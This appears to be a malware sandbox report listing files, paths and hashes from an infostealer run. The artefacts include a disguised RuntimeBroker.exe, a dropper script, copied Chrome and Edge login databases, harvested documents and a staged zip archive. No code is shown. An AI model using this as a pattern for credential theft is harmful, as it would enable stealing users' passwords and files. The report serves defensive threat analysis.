Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 cb5db85b6de087c8b393c8900b05ef41ca24320b1eceda893a6a4be8fea2a358
MD5 8711ac8f0d370833c3809a42ee7888ba
SHA1 ff6b748d1bd24e7c8c3a23ab98c1a9e18e2287e7
SHA512 910c1618caf05f5b245beeda557128e03836e7a8c0627ce934e735467a0a1d64c49d49b74c23c4e7fd5592015627fb1a878910ec4831fe5551cb650be690255d
SSDEEP 384:nLCcmyWCz8N8ehg4df4r3b+AH8c7Xl7BvYHKYW1bbKUjCn:+cpzoggcrpRVBvYqzb/jCn
TLSH
T15E927D31AC79DD7759E6B109F48A36535FA820BBD9841F88DAD85B1D088B29C270FC1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 1c84f2434622041d2b3dd5329e64c70948f663511873c2584f1407167662f93e
MD5 6a4bf8ad5be688d70075c5bcfdb9729f
SHA1 57abce8377bb974043da16f4601ceef40a8ac8d1
SHA512 a0caec5d953ddb67fbe1627d7c830ea201b95272d11d3dc163ade77e14f7b2240f5d9c3be098b6597617189cbf2030da9fa28c268d28e55e0839cad287583fb8
SSDEEP 192:nRGNJ6yMQmiUyoJm81Y3b+jcfjzorrQPdmXMnBT+U6:RGNJ6xnz1Y3b+AH8c3BqU6
TLSH
T18302FA35AC787C7B9EF3AE45B54737139FE4112BEA952F84DAE82B1C00C765C2346826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 8da0e41f45454476dc9438b34b6917060363df69eddda4b023b2b723a54a9fd0
MD5 aa08c7085eed9f317a91c9e671765d6c
SHA1 f792ae1e9d6413f61991bc62e891414eb11411ed
SHA512 a56015a01e9c335d4fb7f99f57f29cf0e8cea0c36ed132b4b1d3ab8e1349e5bc3314f798a46ac9bee9623eca16addd798f9dd66530f581f83ea59214bd680833
SSDEEP 192:nRGNl6y0QmiUyK08IY3b+jcfjzorrQPdmwXlM4MBj/Pm0U6:RGNl6FJIY3b+AH8c7XlcBvU6
TLSH
T1B312E831A878EC771EE2B544B48736539FA8107BEE856F84D6E81B1C04CB65C270F86B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nav_config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent\1.0.0.5\nav_config.json
Size 2KB
SHA256 98252dc9f9e81167e893f2c32f08ee60e9a6c43fadb454400ed3bff3a68fbf0d
MD5 499d9e568b96e759959dc69635470211
SHA1 2462a315342e0c09fd6c5fbd7f1e7ff6914c17e6
SHA512 3a5922697b5356fd29ccf8dcc2e5e0e8c1fd955046a5bacf11b8ac5b7c147625d31ade6ff17be86e79c2c613104b2d2aebb11557399084d422e304f287d8b905
TLSH
T16B51DB73D5988C4B9BF4A29CE919A309F11107CF75D48C0B76BE010C1F7757AB5C6588
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 30e8b5d48a130d6bf81847b89c208c7a087525e9b7d9a0a97bcf21598332b63b
MD5 bf165c172af1f75083dd4c7e8915ad0e
SHA1 2eb27e18672fd0a1816ab00d00078a570eb62711
SHA512 a58ad7ee2e18750242b9c5d53224218bef54ecd50e067170da12510559c455979fb0523044d4c23d5d5a523562165e471f95d939376df623bfdea9228ca25256
TLSH
T181F09ED29D7E36C0D6E50F6ED44B64FC40D89506F05CB579484CEAD8913950B254287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

3685658f-8b91-4c1f-8775-4ae767e929e1.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3685658f-8b91-4c1f-8775-4ae767e929e1.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1081c6b484e3ce0572ea539029bc598ee7870cf099c5585bd52fbeee220c56b7
MD5 8117d1162c008cf731fe668d81f95ac0
SHA1 1fdce919b160546d65f946726794b3331de06938
SHA512 711cc338d15b6b36cad3e8ca1a57b0595991f060d24f39faa2b24a2c4ca08c07c82497ed8b1bfbc998452778d75fb24558d72062ef5ee6848d99e35068c5f188
TLSH
T11B117A33B79CC135C8D9157A1089AD01B2B4C3C7049EDE8B7A84C509E57F58ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b70c5f6cb630103fa7a96bdde12ab6a2fd0ff0fd026b61dc1123e46f9fdc44c4
MD5 30e02b803a8a3a143eea476d7ab245a1
SHA1 d3bf1f568172e8125effe5b29bb57a8f9483fbb7
SHA512 2a1dcf83e601c0b6969898767d2f85689f9e483922658f6e4a09f993cda75106f46a8e3a0cdd787710a203c162b4b508f84bd05585b3d18377c9491eb08e0dee
TLSH
T18121A833B3ACC135C8D9017A208CAD01B2B5C3C7449ECECB7B84C508A57F99ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c5310b419850c8f120c3bb11503c073201de2ad7253038b787f64e3f29bdcc30
MD5 bb50d87e1dd62b3cb1e9eb4ce7197bca
SHA1 b83228d1f056a614d528652ea6176a60fad4463e
SHA512 c149276d989397e2a11f628abb8fbb02ff55d55584989e3bffd2a94f5e71b000af631037560535bdc43074d7aede98ec57771265f5e50aa45c574a7243ffc188
TLSH
T16F218733B39CC136C899017A208DAD00B2B4C3D7009ECE8BAB84C508E93F599DB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 178c938d055c406a43ac69dce370940b771eeb51b3f012839459e60c6b3f4967
MD5 0b25b0ffad6ad82aabfa72b3a02fe3c9
SHA1 6ecc2f18215b998f05def959f4a8c17701bdfecf
SHA512 04bc7d6c4d494dbb37ccf78fb1de0f70b2017801115c1c8391be26f2ad367702b0a940c99ecfefb8cded744cba6dea019fe2f4ef81449158eae8714ce64bd0e5
TLSH
T1B5117A33B79CC135C8D9117A1089AD11B1B4C3C7049EDE8F7A84C509E57F58ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

8ab77dbe-854f-467d-9e9c-02530b6616a5.tmp

Path C:\Users\Admin\AppData\Local\Temp\8ab77dbe-854f-467d-9e9c-02530b6616a5.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NXLog Community Edition.exe

Path C:\Users\Admin\AppData\Local\Temp\NXLog Community Edition.exe
Size 2.6MB
SHA256 38fe33553dd2882a03adf8f51be173e5ac4ffb8aaf39d6f2785c7f74c6868a03
MD5 9ff0d43cc02136108bcc9744240c3aa7
SHA1 744b7b106286f67a8704d6d1c358ec6a6f215ea8
SHA512 acc051089c200282b00f95017f467ebcd9c3f70af55f48428cb676b80de4185cc7a3cf0523902259b37ebd6d8eb1895ddc17f4957b41fca383c5dd969a210dfd
SSDEEP 24576:kYd2hsT1ORfXC9DomS4g+g7Qv/d3rmsrP1YtwUKBll6NqidVL:kYMhoMfyBbTlrmsr1YuUk4ZVL
TLSH
T18EC55B43F69584EAC55EC178835B9732B632F88D1630BAAF2794CB242F16F505F1EB18
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RuntimeBroker.exe

Path C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
Size 1.3MB
SHA256 0324d1a0c01db9de583ef9a0691943f0b214b13cc05484d40588c7f86c366e51
MD5 752c8ce292e9d21ff5bb41e2eb6be638
SHA1 cb77ec5d3120509a9418da6d423e1f64a71acdc3
SHA512 a7de9cd2aad9dcc89aac6610ce6ad1a9e61d43187cddf6f784611e885afa49a5ec9971577b3e552765139cd79651b4f71a0979b804fbefbd32103ddf30ba1578
SSDEEP 12288:xUlGhhi82afmrn8IWAZLAWVYIoQq/mWZ2GK97alklWtNziH8yCg:JsrP1YtwUKBll6Nqi
TLSH
T1BD554943B79589EAC98EC03C82579732BA33B88D0730A7AB27D45B352E57B541F0DB19
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZHNNKJRL_20260522_051343__part01.zip

Path C:\Users\Admin\AppData\Local\Temp\ZHNNKJRL_20260522_051343__part01.zip
Size 3.0MB
SHA256 d5c145570a3fc471c881d817741fb15d297df28b8f288ac1003068b89af70882
MD5 b9ba1918e64f365e39a90d7945512887
SHA1 3350b332b8cc5d8821401833d6be4c839fa82f50
SHA512 3a5e4556ffe6b3370fb4034ab3fb1a339e96f7b7d3c597b8b7a4e5ba0c8ed95f933d9d287b485f694bed3734c53d171fc54d46ee7c006d18799861ebde2868c8
SSDEEP 49152:rqp1Wq3Ux/nnipr399+Z+uF9zEvswulYQaWViu5SbkFV5hsGEpv+fTN9t:OsnixNuFzV5FoiTHt
TLSH
T1AFE53352D5B59EB4C3A1D2A628B22115F6DC0457EBBE46C23B88301F26F9C52CF7CA53
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_l42qb0mr.muy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l42qb0mr.muy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cleanup_dropper.vbs

Path C:\Users\Admin\AppData\Local\Temp\cleanup_dropper.vbs
Size 270B
SHA256 87f41d724e6d56db4f692f25754b6b8825d057e8ebd845254d8ac9947ab9d229
MD5 ff745047fe0d599f89f6fd9cdba5d26b
SHA1 13f7210f35a321eea85a323884b2f33091652d42
SHA512 ba6b33c7e498cbe8aef6893c4b1dbc551153d12f5d966beb525b063b282383d62c58c3cf89318923e78e02234bf7032a199658728d8ce4942faac3732bf9bdf1
TLSH
T191D02B15DF66E5BF50134083CCF69CCEC91460485604B704C690CE8D55A7B363D86187
MD5 SHA1 SHA512 TLSH

Submit Download

collected_20260522_051343_READY.flag

Path C:\Users\Admin\AppData\Local\Temp\collected_20260522_051343_READY.flag
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\browsers\Chrome\Login Data
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\browsers\Chrome\Web Data
Size 138KB
SHA256 03d38eddf7b34888c9b849a63bb2d1742a16986c3120a1aa6af87a1a3c03a036
MD5 d3b26b205af6f605a1e441af7e4a3061
SHA1 4b82d9eefa2090203f49a04ec7daabf499252c02
SHA512 5146cd132f67154b133cbb21bfc6e9658018ff8e4f71258001a3eb11330752796ae68ac0141d59bd53f8190c1fe7541be76fcd8c2ad682be77ef7aa5ae41ab47
SSDEEP 192:9B+XuvBnl3JsueMEGvIW1/rcP2O8zpX67qpjVum0wkP:zeuvBnhJsueMEGvIW1DcP2OADVum0nP
TLSH
T116D3874B3A747002EDE59A721CE051BF5E3C716D8F55A5D428B620688EF2853B23E4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\browsers\Edge\Login Data
Size 56KB
SHA256 f6dd954d4ffd30161e6ef3c3242d3576a739366f9b73f396e45583af8829d178
MD5 fe8c5fb9ed4218996d10e03d7f45f1ec
SHA1 e394d2de480259243fde14f8ecbf7682f7c845e5
SHA512 66f8bc3f3f092a9395f079ff000acf492ca96d51790c1265ac2e555a771fe2705b20e12a964884f27d333649c6a003a2a473dae74107b51730c0cf2d737dd46e
SSDEEP 96:dpfmG38t8KLPeymO7CGr8M5bn8MouB6w9fUPetSEPfNy:dpD07CGr8MV7Iw9f1N
TLSH
T1DA43771F1B682802CC698632ACB194F36F7CA13F8F539E922CB444359D75862B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fullBrowser.txt

Path C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\fullBrowser.txt
Size 3KB
SHA256 2f2b2e71e6ebc61b762e7e65fa2a715b77d3b2603e2eb6a4ab9e63c33344902f
MD5 495d1a18772af59120153c4b3131aa7f
SHA1 d7ea0cacc5b38791d30f107371fb157854890cf7
SHA512 476c6f7bcf34ae52f6c8676cb9e96503cc30b3960dd71f5bb6bbfa20ac5c362431fbd7e9f2fc06b24a116f81abb5a6ae6f0c9206175cd0ff805c5149819c0a6c
TLSH
T1FE71163C49017A18B22CEC4D98B90D10A89B3485FBDD168788CA79C40FFD0BDDD59A34
MD5 SHA1 SHA512 TLSH

Submit Download

network_config.txt

Path C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\network_config.txt
Size 8KB
SHA256 891c53c0b1ea9e6dc487d4a6ca8f028ec8b35581841996d39a8d9c8324114af9
MD5 e3f22fc46f0009b91dd116fd9bffeb13
SHA1 70a94a445a1114012adf57af3b084a2b95f21cc4
SHA512 3038a14524eb02c32ba7b338ef1da581743d733532ae15b0eb61f1d44c1fb5559d24e58c135c8b0f893887801c3aa3223a549444d41e4031ecadb8f8c1828da1
SSDEEP 192:9plxafd9w3FTmbuK8YdhSBzUo1ZBDU/9vsmJ:TD5lmbuK8YdhSBzUo1ZBDU/9vsmJ
TLSH
T14802F4A22768308927BDC6529D29C972C4ADDA9B181FD859F87E5ED4C72970C7FCB00C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

processes_modules.txt

Path C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\processes_modules.txt
Size 350KB
SHA256 6585c81c9f3dae7bd94f4019975ec606b5ad61423aa3ef8b7616ef2815d98a1a
MD5 46fe10a62eb58a19f12edaa41e5b8f5f
SHA1 17f70d9a646eaf111fa05436fe479b691ba8b326
SHA512 146d478016a615a44415da6e594a0d9418a27a8174fa5e38779911033883f2a797edde57835d73d331fd36cf61dfd6405128266d2448115b65032e3df5a3de36
SSDEEP 1536:Kt49ztOxtkTHBDpI0hc00K8y060Q0708uO0U0V0N0IQ/30VMR4pMnjL4ecfHfJWp:keNR1x
TLSH
T1B174D5A04AF58690F3615B45D50A9FDDD2A4FADA7532A630329C6085FFB40CF3E258BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

screenshot.png

Path C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\screenshot.png
Size 187KB
SHA256 d7abf47be8e260e85c19bb1398a5ed8fd88adbe2c0197bd76bc3e689ce8d3b42
MD5 83531dab4771dd569b377e5d6417c403
SHA1 99124164b32b55211d919c3c5aa8da2a5a23f1ff
SHA512 20c750f025507d13e4ff43dc12dbbf8364cab08de9f83c5c1305a3eb457a089ab0ffa431f4043ef8a3f88899dee6b29428dc598bb9f1d0e76cf67a5b9001a92a
SSDEEP 3072:DM75QGn0jsCb4KxGv+qzXqUr2fFLBLI4juG2fYRGfdXofHBn7kvmO/E5VI75eXed:DM75zesw4KxJogfvI4j5KYRImn7gmO/T
TLSH
T10D14E1CB15BBEC6AFC2386395AE84B81DEBE983661D13373DD1482E09343D88153A5D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

system_info.txt

Path C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\system_info.txt
Size 15KB
SHA256 398f6b020b12aefdb6e8dc80201832d8a0578117766d0401421072397d7f86e1
MD5 11c03174ae6dbe148543086071c749be
SHA1 12c8a317c79e4154459b578db34eee198dbc753c
SHA512 f512e97a640e71e8b53e2db70bf52fbf53a7f6a94ac688c2d4fcf6b7ac762bff4b4d5562811a5d1a56de45f8f24d0f8f3f1e4f83ac392fd3bb1ed26ea6fc7d2b
SSDEEP 384:F2xjXmB72coqm2oD8crxpkW08cW5Y2mbuK8YdhSBzUo1ZBDQ/9vsm60pdnF:F2xjXmN2coqm2S0pdnF
TLSH
T1B9621FA2565C7085697DE3D37424C812F1AD9BC7764B6928709E868CC32F389BFEF508
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\browsers\Chrome\Local State
Size 115KB
SHA256 272c9264919a6d4a8f79568f67d65e43371f4e3f74626ef862ecc865d3994736
MD5 c47fa93862cf81df428be4d28048e246
SHA1 2bc973ae9d2694034e5a4d5773956e9776eaf9cb
SHA512 eb56c412709ed988800c1a1bcfc818fbef44145fe4c2622114f94d0e879d8c7e82d9bb9c03e9499c4e324fe37fe6e237c345eacc802d0bb35f7079e302196b2f
SSDEEP 3072:J+Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMN:JZm7Rkm1tYpBeh2BAoN
TLSH
T16DC3123B5E75E9375879BB4EB08E0B1F2EF149A6C920DA82C8D85B0477FA7CC1905934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AddUnregister.xlsx

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\AddUnregister.xlsx
Size 14KB
SHA256 ab6e8e8fdaaee372ddab70739c61f2fc55952a2fe2932b91bf5fa1d7f4ed4f2f
MD5 34452b7527e787586f6443e9bba4dd56
SHA1 04546f0b18152e4ca82a0bb17ae2fadb9b787cea
SHA512 be37625a0de7c2b398ddc455b27b393bce3263be9e59e69933cd7b2fc46ca66368126dcb1513088243a38bb40caca96ff8c8f2e5248ccf03decb588e86480265
SSDEEP 384:wc3xPGgPET39tCUlM9z6pYC0p5hXUOXao4:waVsptCxWpY1p3/f4
TLSH
T1AC628E28E07074AAC21FD63F936504D3E14DF0C2064CBDC15552B66E12876FA239E25F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ConfirmGet.xlsx

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\ConfirmGet.xlsx
Size 12KB
SHA256 26691f9b89408f8d8ff86036c86a7beae510ac9f0cd97bfba6a83d6f7d8d3216
MD5 366870dbedc5d0fe9dbdd82884ccc7a0
SHA1 d38a71603ea1df44e9c642571e5d8f4ac871035b
SHA512 5177ce9f113271f49237d5a5d4c111f0e13378a7991f812b59588d95841014b046f91c10229b4df91474ebe15d1bb955ba7a5050c33e64c7e5a22e67f13e92ba
SSDEEP 384:wc3ANEu3RZiB1yJUlM9z6p6cz50Wctaxj+oARaok5:w/ZiB1yJxWpD0xaVfARfi
TLSH
T16A427D89F120923AC36FB43DCBEA51E673AC50B68F83B4593D24F31B5341156264B29F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

FindSelect.xlsx

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\FindSelect.xlsx
Size 12KB
SHA256 291384ef58a9990b9710b8bb76a87e812e0c3e562958d7ac0d51b5197db7f423
MD5 33d443d49a7f7706151078b15dfb9c62
SHA1 44f8a9bf1b14fa20fad1b8b92bcd065b8458f842
SHA512 cdb8b49e3da7c72962cef4c0837e19c75b287d92d486653f5557b22ae464f3b08212a17702a247f81d24857f7012ef1be39277fbb7f429ae3301bbc46561060e
SSDEEP 384:wc3bUj53tKuAEJCijOUlM9z6pf6zYiPao7:wUX4CijOxWpef7
TLSH
T1D0428E28DBA0652DC23B48BEC15D0CDBE61D90D06782778C7C70F2796A9119743AF2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrantImport.pptx

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\GrantImport.pptx
Size 1.1MB
SHA256 7c23c2e27b8c66ceb2b7c63d53ec03ab29768284319e0980653e3eb42b16d818
MD5 64747b4dd0013c8fd6ec442165405730
SHA1 3d1836a9a5fbb7e4bdaf7658530d6f1ecad50225
SHA512 8fdb21dbc351331da8ed5393f8909f85ddc06a698b7b2630c6411c39060599f5a1cc3bc8a30aab3e9045f499141d3ad70c11c11ab11b5b11d69ba139dfc173b3
SSDEEP 24576:okZh0Rji2LefDPlhB70ciAkzYyLnvuK9vEb/LqRQtCGpb:oQofoNhRPijznV9szmoV
TLSH
T11F45339186719FF0879D731478B231AFA5DA1091ABAF83D62BD81C1612F0E81DF7C792
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ImportSkip.xlsx

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\ImportSkip.xlsx
Size 355KB
SHA256 8969a22e85e9fbd298ae52887f9e2078385057c78faf3720ce2121c50a73ec86
MD5 bc0887af0c4b5ffade539ada2c890125
SHA1 db1b11a1068d0f3c37f05fe564c0877d137787ca
SHA512 8e26e3ab0b1ff86010a6f0311f9bac60c2e32bc6025e38d454d15cdb12899de842c9fbe1b21a5b1f5236ba8cae1d40397031a7d14767b2e3c8531e38413b855c
SSDEEP 6144:srDphuB5O2hjzQrAP541WafmpJRiqgX7WO7a0A60gPdln0fr82wqR5aMxPA3e:OuFjzQrAP6twU7jaSPdN0FwqRtxoO
TLSH
T1437423B3B4BCCD79ABB2C60305966B208794DC4BF6E90B82D7113197A1D7C764C3EA61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

JoinPublish.docx

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\JoinPublish.docx
Size 18KB
SHA256 361a47bb7fada945aa46e293d0d031146112f28e585ec03880eea025bc8c2f90
MD5 7f7da2eb359eeeccc333fc749877f800
SHA1 c8e221b8198da112dd8ee8251111f988a3f54ad4
SHA512 7c86209506d46802c92fd6fd3c844774e3081d77b577e4892446fab28afb3b176053ebbff127e47c3064ca42f41faa007471b116b6470a63ae4aabdad0e5c665
SSDEEP 384:ao0Zt5wXEsOlUaqYAyjopYdNxt/ZtNNY0mYIFHU+lTz:rm5wXEnlUaqyjrxllNhItU6/
TLSH
T1C282C13AD9C15060EAC3463FD00E21F2F504520177AAACA7105FFEDFD286BE7475A695
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MergeSwitch.ppt

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\MergeSwitch.ppt
Size 280KB
SHA256 376f6cf3d3a045af6a8410c2d39e3494180a28287fc3c2b35da14266c6dd0595
MD5 b55ee2cb0cae5553fe992021e13e1846
SHA1 800baa7a42cac1e3017c257e9e0dbbba274c1439
SHA512 1ab103c17d0376e76008d16108dec3b101dd9cf44931eec4ae98bd10a0464065c1a02faa8ed8f8e7b6d980ae2442c5ea4c90d38af66d0c1662ed8a2b033e158b
SSDEEP 6144:BbaC3Q57yUwEiL6aVl76XKDx7XwQ7ziVUhrbosk0vSF:h3gpDwjl74AJXwa+erbosk2SF
TLSH
T1705423837AF36719B3DFCD497F2691236E180F6732BA1879FE4A60731A157160276E20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RepairResolve.docx

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\RepairResolve.docx
Size 18KB
SHA256 3acc1c962afe5c6bcb06cf9d0dfa1cf99755c408fe0edc110defba9664c220b9
MD5 35f49cf619d3a998ddaa8b571b21a9c5
SHA1 5bdb7d2d5c709d8b5337a1a70b9888184449db85
SHA512 ac92ffd954a55ba6c0be8c72c28e9b5848b468766a1dc680e248f492b28cf881107fc777c44abd59088cb03a18577b89bab1ecdc5af57d0e60c124fa84bbe630
SSDEEP 384:aFa7uf/YCKDjErMZWJEQdNxt/ZtNN2e7Zuh2LIFHbXYE:2Uuf/YC2ErMZxcxllN2e1uQLItbh
TLSH
T14C82BF79E102CC60E7A38A38711D22F3E05A6353758BCD9736963A8E2352D930F0B6DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ShowRevoke.ppt

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\ShowRevoke.ppt
Size 179KB
SHA256 c14e21f33ddb98e3df7a82d4162adf61b87119530f9caf2c0cae52e08f86926e
MD5 e8971c5fbbcfbbcbc5dfcda4de85008d
SHA1 939899b90168115bb44a62c3f5d6dc1382fbed0d
SHA512 d8254dbfc956b07bbdccef8562c7652da03f1cec3c834f3d182fdf6143e8e471205b440e1abbacc154a686555cad23af768a927ae862ffaea92e66653edaa09b
SSDEEP 3072:CB/sgGZwFJqm3T1fpiSbjPXp7IuuU2BB1j66nh88P2ORYSFKO/lIf:oGZ38iSbjPXlI62BHnh887YSLif
TLSH
T15B04129364C8ACE8D1409CC6B1A8056C966D87BE8F1B12607E7F780F9145FB7CB069F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SubmitExit.docx

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\SubmitExit.docx
Size 16KB
